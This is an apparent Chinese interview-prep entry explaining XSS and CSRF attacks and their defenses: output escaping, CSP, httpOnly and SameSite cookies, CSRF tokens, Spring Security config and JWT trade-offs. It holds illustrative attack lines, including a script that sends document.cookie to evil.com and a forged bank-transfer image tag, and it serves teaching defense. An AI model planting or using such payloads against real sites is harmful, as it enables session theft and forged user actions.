面试知识库
高 进阶

XSS与CSRF防御#

一句话答案#

XSS 是攻击者注入恶意脚本到页面中窃取用户数据(防御:输出转义 + CSP + httpOnly Cookie),CSRF 是攻击者诱导用户浏览器发送伪造请求(防御:CSRF Token + SameSite Cookie + Referer 校验)。

核心要点

XSS(Cross-Site Scripting)#

攻击原理:

<!-- 存储型 XSS:恶意脚本存入数据库,其他用户访问时执行 -->
评论内容: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

<!-- 反射型 XSS:恶意脚本在 URL 参数中,服务端直接输出 -->
https://site.com/search?q=<script>alert(1)</script>

<!-- DOM 型 XSS:前端 JS 直接操作 DOM 时注入 -->
el.innerHTML = decodeURIComponent(location.hash.substring(1)); // hash 含 <img src=x onerror=...>(innerHTML 插入的 <script> 不会执行,但事件属性会)
html

XSS 防御:

层级措施效果
输出转义HTML 实体编码 < → &lt;根本防御
CSPContent-Security-Policy 限制脚本来源深度防御
httpOnlyCookie 设 httpOnly,JS 无法读取防 Cookie 窃取
输入过滤过滤 <script> 等标签(补充)不完全可靠
// Spring Boot 输出转义
@GetMapping("/search")
public String search(@RequestParam String q) {
    return HtmlUtils.htmlEscape(q); // <script> → &lt;script&gt;
}
java

CSRF(Cross-Site Request Forgery)#

攻击原理:

<!-- 攻击者页面(evil.com)中嵌入 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />

<!-- 用户访问 evil.com 时,浏览器自动携带 bank.com 的 Cookie 发送请求 -->
<!-- 银行收到的是合法 Cookie + 合法请求,无法区分是用户操作还是伪造 -->
html

CSRF 防御:

措施原理
CSRF Token表单中嵌入随机 Token,攻击者无法获取
SameSite CookieStrict 跨站请求一律不带 Cookie;Lax 只在跨站的顶级导航 + GET 等安全方法时带。Chrome 对未设置 SameSite 的 Cookie 默认按 Lax 处理,其他浏览器不一定,要显式设置。注意”同站”按注册域算,兄弟子域名之间 SameSite 挡不住
Referer/Origin 校验检查请求来源域名
Fetch Metadata服务端检查浏览器自动带的 Sec-Fetch-Site 头,拒绝 cross-site 的写请求
二次确认敏感操作要求输入验证码/密码
// Spring Security CSRF 配置(前后端分离 SPA)
// Spring Security 6 起默认用 XorCsrfTokenRequestAttributeHandler 给 Token 加随机掩码(防 BREACH),
// 只配 CookieCsrfTokenRepository.withHttpOnlyFalse() 时,前端从 Cookie 读到的原始 Token 会校验失败;
// 当前官方文档(Spring Security 7.x)推荐直接用 spa(),它同时配好 Cookie 仓库和对应的请求处理器
http.csrf(csrf -> csrf.spa());
// 前端从 XSRF-TOKEN Cookie 读值,请求时带 X-XSRF-TOKEN header
java

XSS vs CSRF 对比#

维度XSSCSRF
攻击目标窃取用户数据/执行操作伪造用户操作
攻击方式注入恶意脚本到目标站诱导用户访问攻击者页面
利用什么用户对网站的信任网站对浏览器的信任
是否需要登录不一定需要(利用用户 Cookie)
防御核心输出转义 + CSPCSRF Token + SameSite

为什么 JWT 天然防 CSRF?#

CSRF 的前提:浏览器自动发送 Cookie
前提:JWT 放在 Authorization Header 里(存 localStorage/内存),而不是放 Cookie:
  → 浏览器不会自动发送
  → 攻击者伪造的请求没有 Authorization Header
  → CSRF 失效

但 JWT 容易被 XSS 窃取(localStorage 可被 JS 访问)
→ 所以 JWT 更需要防 XSS(输出转义 + CSP)
如果把 JWT 放进 Cookie,浏览器又会自动携带,CSRF 风险回来了,仍要 SameSite + CSRF Token
plaintext

面试回答(2分钟版)

XSS 是攻击者向页面注入恶意 JavaScript,窃取用户 Cookie 或执行操作。分三种:存储型(恶意脚本存 DB 影响所有访问者)、反射型(URL 参数中的脚本被服务端直接输出)、DOM 型(前端 JS 不安全地操作 DOM)。防御核心是输出转义——所有动态内容渲染到 HTML 前做实体编码,配合 CSP 限制脚本来源和 httpOnly 保护 Cookie。CSRF 是攻击者诱导用户访问恶意页面,利用浏览器自动携带 Cookie 的特性向目标站点发伪造请求。防御核心是 CSRF Token(每个表单带一个服务端生成的随机 Token,攻击者无法获取)+ SameSite Cookie 属性(Strict/Lax 限制跨站携带)。JWT 放在 Authorization Header 里时天然防 CSRF,因为 Token 不在 Cookie 中不会自动发送,但更容易被 XSS 窃取。两者关系:防住 XSS 间接也防了 CSRF Token 被偷。

追问与易错

追问方向:

  • “存储型 XSS 怎么防?”→ 入库时做格式校验,富文本用白名单净化(如 DOMPurify、OWASP Java HTML Sanitizer);渲染时按上下文(HTML 正文/属性/JS/URL)做输出编码 + CSP。不建议入库前就 HTML 转义,否则渲染时再转义会双重编码,数据给 App/导出等其他场景用也会出错
  • “CSRF Token 存在哪?”→ 服务端 Session 或 Cookie 中(Double Submit Cookie 模式)
  • “SameSite=Lax 和 Strict 区别?”→ Lax 允许跨站的顶级导航 + GET 等安全方法携带(点链接跳转),跨站 POST、img/iframe/fetch 子请求不带;Strict 跨站一律不带
  • “JWT 怎么防 XSS?”→ Token 存 httpOnly Cookie(而非 localStorage)+ 输出转义 + CSP;但放 Cookie 后要重新处理 CSRF(SameSite + CSRF Token)

易错点:

  • ❌ “输入过滤就能防 XSS”——过滤可被绕过(编码变体),必须输出转义
  • ❌ “HTTPS 能防 CSRF”——CSRF 不是中间人攻击,HTTPS 无效
  • ❌ “用了框架就不用管 XSS”——React/Vue 的 dangerouslySetInnerHTML / v-html 仍有风险